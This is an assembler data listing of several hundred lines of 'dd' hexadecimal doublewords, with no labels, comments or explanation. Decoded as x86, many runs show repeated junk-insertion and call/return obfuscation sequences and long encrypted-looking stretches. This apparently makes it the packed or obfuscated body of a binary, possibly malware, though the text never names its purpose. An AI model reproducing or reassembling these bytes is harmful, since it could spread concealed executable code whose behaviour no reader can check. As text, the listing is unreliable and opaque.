		dd 0FF01E3F9h, 10550887h, 0C0DF6261h, 22148014h, 5F7DA4ECh
		dd 1D083DC8h, 0C2C19EFBh, 52C7763Fh, 0BEDB437h,	67AFBC53h
		dd 0C66702DBh, 32917h, 7FF70000h, 33EE73A7h, 6C35B851h
		dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh
		dd 0E18024BDh, 1FC666FFh, 5452003Dh, 4C2815Ah, 83000000h
		dd 148704EAh, 89505C24h, 405E0h, 0E8830000h, 24048704h
		dd 242C895Ch, 5E08950h,	4, 42Dh, 24048700h, 2434895Ch
		dd 33F4B951h, 0E18149D5h, 61147EAEh, 0D39FE981h, 0CD893AEEh
		dd 83240C8Bh, 0EC8304C4h, 24248904h, 4240483h, 63B3685Eh
		dd 2C890000h, 24348124h, 261C2FB5h, 8108468Fh, 2FB50876h
		dd 34FF261Ch, 0C4835E24h, 2434FF04h, 4C4835Dh, 0F91B86E9h
		dd 42A668FFh, 4D66D2FFh, 256392B8h, 0FFC50306h,	0D95566E0h
		dd 0F54AE113h, 0B2B38F57h, 6B32B44Bh, 1FA37668h, 6E876h
		dd 4AF60000h, 0A077CCBCh, 1D850Fh, 13E80000h, 0B0000000h
		dd 0A276A784h, 0B22AA04Ah, 0D51D58EFh, 0C12CECAFh, 0BB661060h
		dd 595B7B45h, 0DE9h, 0D18EEE00h, 530E1EC9h, 0C8C5B238h
		dd 0C18119DCh, 59DCh, 11E9h, 240E2900h,	0C1E6104Eh, 0CFBAFF1Ah
		dd 0F14EA70Ch, 68B41Dh,	81000000h, 0D48F54EAh, 85B75E1Fh
		dd 8B313C8Bh, 18C781D0h, 0B459FAF9h, 55C781AAh,	660483D4h
		dd 0EF81D18Bh, 386B332Bh, 0E70FBB51h, 895B41D8h, 0BBF5313Ch
		dd 2852CF23h, 31D3EE81h, 0F381083Ch, 78B060E1h,	31CFC681h
		dd 0FE81083Ch, 0FFFFA6DCh, 0FFB6850Fh, 8A0FFFFFh, 6, 7901F381h
		dd 4EB4D9Dh, 50AF23BDh,	4F2E9h,	1CD96A00h, 45EC8CA7h, 7233B5D0h
		dd 9A5BE2FDh, 0C0650A25h, 0D180A4Bh, 3550C568h,	607BF0ADh
		dd 8BA61BDEh, 0D4D449E8h, 37C22238h, 0DF943F4Ah, 3FFA88A1h
		dd 0F073D890h, 31B64F31h, 59DCF76Ch, 9A1DB698h,	0D860F9DBh
		dd 0B6B33719h, 7A3BBE70h, 0A144EA05h, 0D16D112Ch, 1BEB3B3Ah
		dd 211D1F9Bh, 3924FBC3h, 0F4D14E93h, 2F96128Fh,	0D70F2D54h
		dd 25C423C1h, 0ED422A39h, 0D23F8C52h, 886A195Eh, 2BCE53EFh
		dd 0C0E7A88Ah, 94F70DEh, 0FAEA0038h, 5C39259Bh,	0C5696817h
		dd 0ED90AB20h, 15CC6244h, 0C339259Ch, 0F0D7CC2h, 0C881C50Ch
		dd 60h,	31F07312h, 0D329B94Fh, 1B9E3924h, 59DF785Ah, 5354B698h
		dd 0AB47330Dh, 9B4AEB92h, 6563D218h, 1E81C5D4h,	1, 2CF57368h
		dd 6A0BB14Ah, 0D148EF88h, 81638A2Bh, 0E9BA00FDh, 816379B1h
		dd 0D53924D2h, 0D3509490h, 0C7FD3924h, 32D727BFh, 0F5789509h
		dd 5756052Ch, 809B10D1h, 0EBBF34FDh, 112FF273h,	743DC0D9h
		dd 0FD5D192h, 473924D3h, 0D8715302h, 7134B950h,	2CCF684Ah
		dd 650AA385h, 4121096Ah, 30570419h, 87CDCA4Eh, 7DC3C6ADh
		dd 12872ACBh, 0E85774F7h, 11DC2261h, 60F9DB02h,	9A3315DCh
		dd 0D66F5114h, 0FAA8C51h, 3A502A70h, 0FAE8579Dh, 0B381C53Fh
		dd 0B5h, 0BB3B54FDh, 0A74847F6h, 0E5872002h, 0D6871E3Ch
		dd 7E5D441Eh, 40670AABh, 2E2BAF91h, 64FE17E8h, 6A0B0AB9h
		dd 532ABAD0h, 6C823925h, 39255278h, 0E02599DEh,	6D9441E1h
		dd 1A5BEF8h, 1C43FE84h,	0CBCA793Ah, 0CA5872Ah, 32E2C46Dh
		dd 38ACC2FAh, 1E392553h, 7E701483h, 3D642A9Eh, 56C50B8Eh
		dd 81C52A68h, 7121h, 1F6E0500h,	7A506FF5h, 892CD1D0h, 0F27322DAh
		dd 32B44D2Fh, 4D261D19h, 0E30A52D6h, 1DC46801h,	5A1BA23Bh
		dd 0B1F7F478h, 0F137D6D7h, 0F3248920h, 0A74BE972h, 0B174F9F8h
		dd 5AF37A93h, 4E60DC8h,	0E51F9443h, 0CD9D7D4Eh,	0EE9DF7C7h
		dd 2CF57336h, 0D32DB44Ah, 0AAAB3924h, 0F37A9364h, 0D1395032h
		dd 0FB2F79B1h, 1BD786ADh, 81C55B1Dh, 1D6h, 0F1732000h
		dd 32B54E30h, 73551C9Bh, 3BA98BB2h, 9E22D41Ah, 1CA0B9D7h
		dd 5631A655h, 5A708EE3h, 3F42DA83h, 59E80C5h, 334EC362h
		dd 790FF1B0h, 3306CA69h, 6609225Ch, 6D1CDDBFh, 4FF2A4EAh
		dd 931631A6h, 0A138F0D2h, 1F864300h, 2726D599h,	0A6BFDD84h
		dd 0CEB05F06h, 0BEDB035h, 0B34FCE72h, 3C632406h, 85CBEC5Ah
		dd 7BC1C4ABh, 46EF91AAh, 4DFCA547h, 0DB4AB4Eh, 0BBEC3D56h
		dd 7C54C9F0h, 87E4947Eh, 0F737h, 0CDE31B00h, 33060717h
		dd 934BFA3Fh, 0CFED86B3h, 0D2638197h, 0AEF33924h, 90A9E1FFh
		dd 112745ECh, 3924D2D3h, 938F3E83h, 3F42F036h, 0DD842740h
		dd 178B3AFBh, 0D457F0D2h, 0FA7D980Dh, 63041D3Bh, 743DBFBEh
		dd 0A74AE3C5h, 0FD9B1CFEh, 0BD9F42E4h, 84CA4DFCh, 11862FD2h
		dd 0E3F03B39h, 2EF487h,	0B33E0000h, 0BDD3F18Ah,	3924D377h
		dd 7938BCD5h, 0B327D697h, 0EEF68C6Eh, 143924D2h, 0E25BCD13h
		dd 0CF657B99h, 273924D2h, 69636DE2h, 31000000h,	0CFED86B3h
		dd 42EA3CB9h, 15F73C3Fh, 0D960F97Ch, 4E753618h,	7A3BBED9h
		dd 0BCDD0298h, 5EE43306h, 0BB4E96ACh, 0C3083306h, 9D21BA9Ch
		dd 3635F6D8h, 0AD0FF1ACh, 8B8C66ACh, 71F4A6ECh,	0D9603BB0h
		dd 2C427A98h, 3306BAB8h, 8CAA599Eh, 2C1F6A76h, 0BD9FE439h
		dd 0FEE08124h, 0B7296F90h, 0BDD3F182h, 3306BB23h, 9D71E62Bh
		dd 0CFED86B3h, 4A3827B9h, 0E2273Fh, 0A81DC467h,	18D6556Eh
		dd 0FF6DE202h, 82F7432h, 0B7B66526h, 780D9534h,	905133F6h
		dd 0A8604269h, 3C52E88Fh, 32FF6DA8h, 934269AEh,	89B81E97h
		dd 21676489h, 20CFCC6Fh, 13E54A4Fh, 41F94BBh, 6AA2C061h
		dd 75279054h, 6381C6DCh, 7527974Dh, 0CB7ABFDCh,	8A950E9h
		dd 0F1EE8D26h, 0CD705A0Ah, 7A5C83C1h, 0B6985DE1h, 2FE12748h
		dd 4506E889h, 0E3294A1Eh, 0C9E78E31h, 886A0FB0h, 88A318C7h
		dd 9213E6E5h, 0CB942543h, 0C3AC2A4h, 8000000h, 81AA417Fh
		dd 13A80904h, 730DC574h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh
		dd 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h
		dd 3D1FC6h, 524268h, 242C8900h,	81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 0F0682414h, 8900003Fh,	0B850241Ch
		dd 3BC2015h, 451CBD55h,	0E8310599h, 58C2895Dh
		dd 241C8B54h, 6804C483h, 0B0Eh,	8F241489h, 34FF0843h, 0C4835B24h
		dd 2434FF04h, 4C4815Ah,	0E9000000h, 0FFF915A7h,	0B858FC65h
		dd 6256998h, 0E0FFC503h, 0E538998h, 1CAB6B7h, 3D9A9A64h
		dd 3B2C5CB9h, 167E69ADh, 5FE3C4E4h, 276ACCA9h, 7C5ED347h
		dd 6CF58628h, 5CC341F0h, 4D39D0D9h, 1BD41236h, 2C53AFB4h
		dd 3D1DFA2Fh, 342C4224h, 751CBC99h, 42E9BDD9h, 712B99Dh
		dd 5D39CD3Dh, 641124F4h, 749BD247h, 3C3E238Dh, 6EAE525h
		dd 5E46139Bh, 53F4FFD5h, 10EBh,	3 dup(0)
		dd 0C08B0000h, 2B39958Bh, 0BD83061Eh, 61E1D79h,	83097500h
		dd 1E2B25BDh, 19740006h, 0C08B5350h, 42DB8h, 0E9858900h
		dd 8D061E0Ch, 20AC3A9Dh, 5BD3FF06h, 25BD8358h, 61E2Bh
		dd 53501774h, 42DB8h, 0E9858900h, 8D061E0Ch, 20A9299Dh
		dd 5BD3FF06h, 0AD952958h, 89061E1Eh, 1E2A7D85h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0F3B4BAC2h, 69BB2D78h, 200D958Bh, 0C08B061Eh, 0CE8h
		dd 27F86B00h, 1B71863Dh, 0DD39B753h, 91B589B6h,	5E061E2Bh
		dd 1D458D8Bh, 1FB6061Eh, 0F00F983h, 0A484h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0A8C4EA74h, 0FF82A9B9h, 8B645012h, 2C3Dh, 0F18D8900h
		dd 0E9061E1Fh, 11h, 99996497h, 0A1667E84h, 423D4B26h, 0A9B39A64h
		dd 0FFF0B34h, 5484h, 8BD68B00h,	0DE93Fh, 1B7F0000h, 99F52B91h
		dd 0E96CACE8h, 600E0B10h, 0D0D8D33h, 8A0F061Eh,	3, 61FA8B66h
		dd 6AC032h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0ED56FCC3h, 0F6816623h, 0AAF389F1h, 0B0B54ABEh
		dd 4149352Eh, 6A5350h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C81B78C3h, 0C68F8FC2h, 1E204185h
		dd 0B5894706h, 61E2DEDh, 4E8h, 0D6882C00h, 0D78B57DCh
		dd 12E9505Ah, 0CA000000h, 0BDBDEAFFh, 0BC82D4E6h, 6A1A0AC4h
		dd 0F44BEF3Bh, 24448B05h, 0D38B6604h, 8B66008Bh, 244489D0h
		dd 0DA805804h, 91B5FFDEh, 60061E32h, 5852360h, 89061E0Ah
		dd 1E155DB5h, 830F6106h, 3, 61C8BF0Fh, 32958D31h, 858D061Eh
		dd 62178D1h, 858B5060h,	61E0D0Dh, 0D8A0F59h, 0E9000000h
		dd 8, 195FC125h, 0CE2C63A0h, 6AD0FF61h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9F0DC357h
		dd 0A98589AAh, 6A061E2Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0C009C351h,	1651958Bh
		dd 85C6061Eh, 61E2041h,	53006A53h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 8BBDC007h, 6653568Ah
		dd 685D09BAh, 7BD57145h, 631318BEh, 24048140h, 0CC2F9B7h
		dd 68D0Fh, 0B5890000h, 61E14CDh, 3291B5FFh, 958B061Eh
		dd 61E1AC1h, 78D1858Dh,	0B58B0621h, 61E059Dh, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0C08EAFC3h, 0FDB58BBAh, 0B6061E2Eh, 0AE858D44h, 0F062137h
		dd 8E8D3BFh, 3F000000h,	1D865197h, 0E9D089E3h, 0Fh, 0CAAC9E59h
		dd 0E867AE58h, 1A4416DAh, 5E416CE4h, 32718589h,	9509061Eh
		dd 61E2AA1h, 0FF6A206Ah, 327195FFh, 4935061Eh, 0C7535041h
		dd 1E18D185h, 106h, 0BD85C700h,	61E04h,	6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0ABEEC356h, 0C7AE781Eh, 18475945h, 0CC1B523h, 0BD83061Eh
		dd 61E3351h, 55840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8898C352h
		dd 858BBF1Eh, 61E1971h,	0BE9h, 0E251FB00h, 4883F072h, 0B3A0C9EBh
		dd 0A364h, 8A0F0000h, 4, 5A94B650h, 8B7DEE80h, 1E271585h
		dd 66E08B06h, 25C7F281h, 0CB5BD83h, 0F00061Eh, 36985h
		dd 4185C600h, 56061E20h, 68F28B66h, 85740F69h, 0B6243481h
		dd 6A2CB13Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 168BC350h, 0F311B58Bh,	3291B5FFh
		dd 0B70F061Eh, 0D1858DF3h, 31062178h, 1E27218Dh, 6AD0FF06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C6AAC355h, 1D7E5D08h, 0B58BFE6Bh, 61E0775h
		dd 9BAABE90h, 8B506316h, 840F90D0h, 19h, 14E9h,	0C2529900h
		dd 3AD5EC1h, 0EBBBF7C6h, 8C34A6B2h, 5D0F17A4h, 998D8DEBh
		dd 50061E1Fh, 60505250h, 310F5E61h, 8E0Fh, 585A0000h, 89240C89h
		dd 1E221595h, 66046A06h, 682411BEh, 0BA2AF800h,	4BC0BE66h
		dd 240481h, 0F45D518h, 0B5FFF2BFh, 61E0EC5h, 18800Fh, 0CE80000h
		dd 1A000000h, 12863CE5h, 2B5DCF71h, 8B592911h, 1E201195h
		dd 0D0FF5E06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	38C35141h, 1E8E0Fh, 12E80000h, 0D5000000h, 9B01434Fh
		dd 24211671h, 0E6B70A9Bh, 0C64B31CEh, 7D8D898Fh, 5A061E27h
		dd 0EC5BD8Bh, 0BD89061Eh, 61E1459h, 803C7F03h, 0A5BA3EF6h
		dd 81189021h, 0F8C7h, 0D1958B00h, 0C7061E09h, 202447h
		dd 0D6816000h, 7844D61Bh, 6A6ABD83h, 0F000625h,	12F84h
		dd 0F1BA6600h, 28C78393h, 68C0Fh, 95330000h, 61E26C9h
		dd 6A2E07C7h, 850F6469h, 5, 34F2C3BEh, 447C730h, 617461h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1CC35646h
		dd 38449CD6h, 2BFFE08Dh, 1E19D195h, 72858B06h, 8A06256Ah
		dd 31B589D3h, 89061E22h, 0E2810C47h, 3C45D1A9h,	6A76858Bh
		dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 70F80EC3h, 3F4D3947h, 0C1B50341h,	60061E1Ah
		dd 207D9D8Bh, 958B061Eh, 61E0279h, 8478961h, 0B880Fh, 0F600000h
		dd 880FD0B7h, 0
		dd 0D18B6661h, 5628C783h, 26B1B58Bh, 0C75E061Eh, 6F632E07h
		dd 0A6EE816Eh, 0C75DE8F0h, 69660447h, 870F0067h, 0
		dd 2949B58Bh, 858B061Eh, 6256A6Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 77C35343h, 932ECDB7h, 0C4789F1h
		dd 8B7CCA80h, 256A6A85h, 9E906h, 1B320000h, 0A047711Ah
		dd 89D36481h, 0D18A0847h, 8D8DFC58h, 61E0E11h, 0BE991FCh
		dd 0AC000000h, 0E3C36A72h, 0FA393AD7h, 0F501DD1h, 281h
		dd 91F08B00h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	9CC35343h, 0FFD08B61h, 1E1F99B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0D7FA0F3Eh, 8E9h, 0CC7AEB00h, 0F2358D5h, 0DBD8909h
		dd 68061E1Ah, 93E70088h, 60605250h, 0CF8B6661h,	0E9310F61h
		dd 6, 6CBD1310h, 585AC288h, 78240481h, 666C190Fh, 5EE8E281h
		dd 0EC5B5FFh, 5E8061Eh,	0CB000000h, 151E3E94h, 0EBBA665Ah
		dd 0FD0FF39h, 0B8D3B7h,	9000000h, 1E0C799Dh, 0FC00B06h
		dd 6984h, 29BD0100h, 0FF061E0Eh, 1E0831B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0E7011776h, 0AE9F2h,	69860000h, 0B4969CE8h, 0A9C8284Fh
		dd 16B995FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0E444C8C3h, 2C26DE6h, 0E281669Ch
		dd 0C08B0C73h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0F1C35646h, 23061DBBh, 7813EFBAh, 0E281666Ch, 0BD83D663h
		dd 61E1D79h, 83097500h,	1E2B25BDh, 19740006h, 0C08B5350h
		dd 42DB8h, 19858900h, 8D061E0Dh, 20ACA19Dh, 5BD3FF06h
		dd 25BD8358h, 61E2Bh, 53501774h, 42DB8h, 19858900h, 8D061E0Dh
		dd 20A9429Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0FC4B5718h, 0A562CB46h
		dd 1D5FBAACh, 6A7824h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E8DC6FC3h, 0Fh,	0BC69122Eh, 74EFDE15h
		dd 0F629A4FEh, 0F6BC3B2h, 0B82h, 6E900h, 87F30000h, 8CC48EEBh
		dd 8BC08B5Ah, 1E29C195h, 8DC08B06h, 2573F38Dh, 0C3BF0F06h
		dd 23758D89h, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 461D7BC3h, 0C7F9BACAh, 1E324D85h
		dd 597C06h, 51858B00h, 0C7061E1Dh, 1E316985h, 6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0A235A43Ah, 8B1C3207h, 5860FD9h, 0BB000000h,	4E2EC24Ah
		dd 1EB5B5FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0A5340C3h, 6D22E85Fh, 23742186h
		dd 1E1BD5BDh, 0B995FF06h, 6A061E16h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0AEB2C351h
		dd 95FF006Ah, 61E26C1h,	3DEBC08Bh, 0EB400760h, 0C0617301h
		dd 0CA2AE897h, 9C08CF76h, 0D4D420B6h, 3F731728h, 1D865197h
		dd 0A5D089E3h, 0B575F652h, 0FB96EDDBh, 82CDE301h, 0F692B4BBh
		dd 59909EB5h, 4B879324h, 56C18A4Ch, 13E898h, 78680000h
		dd 0FB4599C8h, 0ABFDF12Eh, 0E6189387h, 28342259h, 5EC9B377h
		dd 1B358D89h, 0C681061Eh, 728Bh, 6888F580h, 0
		dd 8C0F5760h, 0
		dd 61C38B58h, 0DFEB815Ah, 8B0C3DCAh, 0B70F1604h, 37C081FEh
		dd 893B74B7h, 1E20BD95h, 0B2F08106h, 89397FCCh,	1E0D6185h
		dd 9AC08106h, 31307695h, 1E31B985h, 16048906h, 0EC99501h
		dd 0DBBF061Eh, 813E1D53h, 0FB1170EAh, 0D19D3112h, 81061E07h
		dd 0FB116CC2h, 858B6012h, 61E2E69h, 12E9h, 585CC300h, 0F3CBBD80h
		dd 668192E1h, 0C7CA2532h, 61561EE1h, 8E4CFA81h,	850FFFFFh
		dd 1Bh,	22E94FB1h, 69000000h, 0A9EB6847h, 0D588D5BCh, 5A15606Ch
		dd 7AF51282h, 8B0226B6h, 0FF69E9FBh, 84BAFFFFh,	0BFA2BDE1h
		dd 0D08D8DDAh, 0E9062575h, 5, 0CD705EDAh, 758D89C1h, 6A061E23h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 7BB4C352h, 8B0B45E9h, 1E2CE59Dh, 4D85C706h
		dd 0EC061E32h, 8900006Dh, 1E158DBDh, 6985C706h,	61E31h
		dd 56000000h, 11E8h, 0FDB3AE00h, 2CE1C5E5h, 0FAF8EE4h
		dd 8B2BDFE5h, 9589DEE8h, 61E1901h, 0B5FF5F5Eh, 61E2931h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 7FC35646h
		dd 559D016Dh, 0D4BA621Eh, 95FF5B56h, 61E16B9h, 6E953h
		dd 86750000h, 4C325779h, 0FF006A5Eh, 1E26C195h,	0EBC08B06h
		dd 4216E00Eh, 2EA1DE0Fh, 0BCC56EFFh, 8B803D51h,	0C0h, 17Dh dup(0)
		dd 0D281FC60h, 3B22905Bh, 57006A61h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4CD4980Fh
		dd 0F5912BDDh, 0E960FC9Dh, 11h,	6FAC79ADh, 64187145h, 0A35E1FB8h
		dd 52109AEBh, 14E9F3h, 0F0660000h, 0CEF181D7h, 793B4C0Ah
		dd 0F4111CB2h, 0B0D5F41Bh, 6161CEC5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 3FC35545h, 0CCE5EAF7h, 6A5D2Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0E7C998C3h, 244401F9h, 6A58F808h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6423C352h
		dd 0F6086E5h, 58Fh, 0C3816600h,	0F60C216h, 81h,	13E800h
		dd 545D0000h, 4E3A7A21h, 86B61A4Eh, 0ACDA5E64h,	3937AAC6h
		dd 61615E5Dh, 820FC39Dh, 1, 51006AF9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0FED92876h
		dd 0E8C08BF9h, 0Ah, 6B829D9Ch, 0AE4CAF35h, 0E8BBFDB3h
		dd 5A5A5542h, 60C9BF0Fh, 9E9h, 0EE9B0800h, 0CBA1459Fh
		dd 61F547A7h, 525789B2h, 68FDD381h, 5E5A79C8h, 11E9h, 0E78B9800h
		dd 0E55FBDACh, 5063E46Fh, 0FAE62BCCh, 0FA8B2468h, 12E9h
		dd 0F43A0800h, 9AF1756Ah, 0E3349BBEh, 0A46B1316h, 6079B2C4h
		dd 8E981F5h, 61086875h,	3CC5B966h, 0CE8h, 7492F200h, 0CA1A6A73h
		dd 0FF8928C6h, 56525F13h, 5AB8E280h, 6E959h, 0C10C0000h
		dd 241CB7C0h, 0FC3EA80h, 381h, 0D6BF0F00h, 60CAB70Fh, 0F18161F9h
		dd 6C8E20ECh, 13E8h, 381C0B00h,	0CB8FDE35h, 9721BBA5h
		dd 0C870B353h, 5374B201h, 0FE958h, 742B0000h, 0B9A8C4EAh
		dd 12FF82A9h, 0F5FAE550h, 15860FD2h, 0E8000000h, 0Bh, 9424068h
		dd 4B6A8AE7h, 66904721h, 58DD8DBAh, 5DB86652h, 49B15920h
		dd 9FD736B8h, 5E9F939h,	90000000h, 0CE248E0Bh, 14E9h, 0E19DB500h
		dd 477A0C94h, 896E7BE3h, 75DF2FF5h, 0DB105954h,	13E9FEh
		dd 29F60000h, 439D8FC0h, 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah
		dd 0C1B70F19h, 8BF0B70Fh, 0C68B66CEh, 0DE9h, 0DBB0AB00h
		dd 877E075Eh, 0E5821F0Ch, 29B89614h, 661FC282h,	0F56109BBh
		dd 60DABF0Fh, 0CE960h, 0D5300000h, 7E2E3EA4h, 81A15BE8h
		dd 830FF19Bh, 0
		dd 5E961h, 1E480000h, 613A9EFFh, 669EE780h, 1C38E381h
		dd 19880Fh, 12E80000h, 0FC000000h, 549F3790h, 0AFC47FFBh
		dd 251E8E65h, 188B7B2Eh, 0F5AF86Eh, 3287h, 14E800h, 9A760000h
		dd 0AC476DBDh, 0DBFF811Dh, 4B6F92AFh, 0E210CA74h, 13E9D4BBh
		dd 88000000h, 0A0E556C4h, 56E8D37Fh, 0E8F74D61h, 634D958Ah
		dd 0F59D84Bh, 282h, 57DA8A00h, 0B38CBE66h, 19CF8058h, 38A0FF8h
		dd 0F000000h, 8E0FD0BFh, 8, 2880Fh, 0F28B0000h,	5E9F8h
		dd 0B44E0000h, 0E957A6A7h, 14h,	3DE8408Eh, 0C1B7CB11h
		dd 0DA160879h, 0D590CAF4h, 0F3A47804h, 0EBCE81F5h, 810B9578h
		dd 901751F6h, 0F5A5202h, 8B66C7BFh, 9E8D6h, 1E670000h
		dd 0F95D655Ch, 81E724ADh, 2C2C0EF7h, 0EA805A2Dh, 810F5261h
		dd 15h,	10E9h, 6060F100h, 1E63CAF9h, 87889760h,	0F7E537A6h
		dd 0AE95B90h, 0F3000000h, 9666EDABh, 0F3D5898Eh, 0AE9CBh
		dd 7D3E0000h, 0FEE0B30h, 1BE4672Ah, 0AAD08060h,	0F6174B3h
		dd 0D880D3BFh, 6E8A5h, 52B80000h, 5BA5ABEBh, 5E70F280h
		dd 94ED3AB9h, 0B9666013h, 8B660C3Dh, 13E861D6h,	57000000h
		dd 0B9631B21h, 94F7B62h, 1710C54Ah, 0AF51FEEBh,	0F56FAA8h
		dd 8Dh,	665F5A00h, 0E9AC31BEh, 14h, 0D9CCBE65h,	4DBAB54Ah
		dd 485EA2C2h, 7809ADFCh, 0F3992E73h, 9DCB8166h,	0D78B6679h
		dd 5E9h, 232FC900h, 0FFC5F54h, 0AE9FBBFh, 68000000h, 4258BED9h
		dd 0E5063731h, 0D081FC10h, 6911E1B6h, 8166C38Bh, 8B9B66E0h
		dd 38B0FC1h, 0F000000h,	0EE8F6B7h, 0E8000000h, 0CABEBB3Ch
		dd 4CF2282h, 0B9E70E2Ah, 0BE59F5DEh, 194F22F1h,	9E860h
		dd 1CF50000h, 0E7164FE2h, 60E874F1h, 0B9615B61h, 5059D706h
		dd 0E8FA8B66h, 6, 0E2BF3A55h, 0D88A4020h, 0B820F5Fh, 60000000h
		dd 93BBA66h, 1647FDBBh,	0C28B611Ch, 0ADE38166h,	0FBB70F52h
		dd 0FCC2B70Fh, 11E9h, 9C934B00h, 72452653h, 19BDEEE9h
		dd 0E73B22F6h, 880F341Ch, 0Eh, 5E960h, 252C0000h, 8BF06344h
		dd 0EC8061FAh, 0FCB8B25h, 181h,	99B4F500h, 65F18166h, 0A759BAB6h
		dd 0E6806A1Ah, 79BB6621h, 85BB66FDh, 64BF662Fh,	86BE66C0h
		dd 0D3BF0F55h, 13E8h, 1870E300h, 0E3F5151Dh, 0B44B2F21h
		dd 518137E2h, 810B1948h, 0E3E68166h, 35B55E22h,	0CBE08160h
		dd 66030543h, 8061D68Bh, 81666AE2h, 0F83A8C6h, 0C38BD0BFh
		dd 0F60C78Bh, 8E9D6B7h,	3E000000h, 0CB56F263h, 6168DAD2h
		dd 0BE96051h, 35000000h, 79E0778Ch, 2FF7EA19h, 8D0F01C1h
		dd 0
		dd 66F85961h, 80F8D18Bh, 8A60ECF7h, 0B9EA81F5h,	61195DFAh
		dd 7CB43CB2h, 0F49FDF81h, 0DA800752h, 0AE9EBh, 0A9670000h
		dd 59774B10h, 0B9CDF8E1h, 58A0Fh, 81660000h, 801037C2h
		dd 8C0F9ED5h, 1, 9B966F8h, 66F38A40h, 9C57D081h, 0D3EF8150h
		dd 5E08446Dh, 0FBDABE66h, 0E960F58Ah, 0Dh, 2B9D2798h, 87557CD1h
		dd 0EC09D96Dh, 6890F06h, 0F000000h, 87h, 820F6100h, 3
		dd 66DFD080h, 2BFCB8Bh,	0B41A47D6h, 0C830F10h, 0F000000h
		dd 689h, 8D0F00h, 66000000h, 0B70FF08Bh, 11E9DBh, 4BC20000h
		dd 655E8939h, 0C01EC377h, 0E975522Ah, 0E943C5CFh, 14h
		dd 0CB883B5Dh, 1D41B2DCh, 526A9B44h, 54A652B5h,	9ED355F0h
		dd 397F9DBFh, 831EB900h, 80F570D8h, 9E8D1EEh, 0F5000000h
		dd 47220A5Ch, 85110F9Bh, 8995C081h, 0E95F2B13h,	12h, 0F8F63F8Ch
		dd 28282F08h, 0ADB8322Bh, 0AEA15E2Dh, 8B662E2Eh, 0FE9CBh
		dd 1F9E0000h, 8A410924h, 6CE185A4h, 207A87CCh, 0DDBE56E8h
		dd 5A17EA3Ah, 5810Fh, 60BF0000h, 6675BB7Eh, 0B70FD18Bh
		dd 51BA66C3h, 0D374B8E5h, 0BB95949h, 660CD29Eh,	0E881C68Bh
		dd 0E412782h, 31BE40BBh, 0FCD38B32h, 148A0Fh, 0FE90000h
		dd 7B000000h, 0D9FA71B7h, 67F2BAB8h, 0D9117BBCh, 816639E5h
		dd 0F2414F2h, 89h, 0B9666000h, 0E961448Dh, 14h,	0EBCEC0E2h
		dd 0C7F0F627h, 301028E7h, 4B492784h, 400CDABEh,	0E8F88B66h
		dd 14h,	781EABEEh, 5945C7AEh, 0B16A1847h, 3420D698h, 952AD556h
		dd 6660F958h, 0E90471BEh, 0Ch, 5858C49Ah, 0C3D3088Ch, 58F6DFDAh
		dd 18C68161h, 0F9378F9Eh, 0C78BC88Ah, 6DB95660h, 5E7FBEACh
		dd 2890Fh, 0C9B20000h, 84BAF561h, 8122F5E0h, 7B83CBEAh
